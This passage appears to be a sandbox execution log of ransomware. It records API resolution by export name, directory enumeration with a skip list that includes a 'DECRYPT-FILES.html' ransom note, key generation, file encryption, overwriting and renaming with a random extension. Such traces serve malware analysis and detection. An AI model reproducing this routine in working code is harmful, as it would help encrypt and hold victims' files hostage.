(lpString="CREATETHREADPOOLIO") returned 18 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0148.263] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0148.263] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0148.263] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0148.263] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0148.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0148.264] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.wx6mgFO") returned 50 [0148.264] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.wx6mgFO" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.wx6mgfo"), dwFlags=0x0) returned 1 [0148.265] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.265] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.265] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.266] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="DECRYPT-FILES.html") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="autorun.inf") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="boot.ini") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="desktop.ini") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="ntuser.dat") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="iconcache.db") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="bootsect.bak") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="ntuser.dat.log") returned 1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="thumbs.db") returned -1 [0148.266] lstrcmpiW (lpString1="Rotate7.ico", lpString2="Bootfont.bin") returned 1 [0148.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0148.266] lstrlenW (lpString="Rotate7.ico") returned 11 [0148.266] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0148.266] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate7.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" [0148.266] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0148.267] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0148.267] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0148.267] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0148.549] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0148.550] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0148.550] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.550] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0148.550] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0148.551] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.551] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0148.551] CloseHandle (hObject=0x5f8) returned 1 [0148.551] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.552] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0148.552] CloseHandle (hObject=0x0) returned 0 [0148.552] CloseHandle (hObject=0x5f4) returned 1 [0148.553] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.553] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.554] GetTickCount () returned 0x3a672 [0148.554] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.554] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0148.554] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0148.554] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.555] lstrlenA (lpString="kernel32.dll") returned 12 [0148.555] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0148.555] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0148.555] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0148.555] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0148.555] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0148.555] lstrlenA (lpString="ADDATOMA") returned 8 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0148.555] lstrlenA (lpString="ADDATOMW") returned 8 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0148.555] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0148.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0148.556] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0148.556] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0148.556] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0148.556] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0148.556] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0148.556] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0148.556] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0148.556] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0148.556] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0148.556] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0148.556] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0148.556] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0148.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0148.557] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0148.557] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0148.557] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0148.557] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0148.557] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0148.557] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0148.557] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0148.557] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0148.557] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0148.557] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0148.557] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0148.557] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0148.557] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0148.557] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0148.557] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0148.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0148.557] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0148.558] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0148.558] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0148.558] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0148.558] lstrlenA (lpString="BACKUPREAD") returned 10 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0148.558] lstrlenA (lpString="BACKUPSEEK") returned 10 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0148.558] lstrlenA (lpString="BACKUPWRITE") returned 11 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0148.558] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0148.558] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0148.558] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0148.558] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0148.558] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0148.558] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0148.558] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0148.558] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0148.558] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0148.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0148.559] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0148.559] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0148.559] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0148.559] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0148.559] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0148.559] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0148.559] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0148.559] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0148.559] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0148.559] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0148.559] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0148.559] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0148.559] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0148.559] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0148.559] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0148.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0148.559] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0148.560] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0148.560] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0148.560] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0148.560] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0148.560] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0148.560] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0148.560] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0148.560] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0148.560] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0148.560] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0148.560] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0148.560] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0148.560] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0148.560] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0148.560] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0148.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0148.561] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0148.561] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0148.561] lstrcpyA (in: 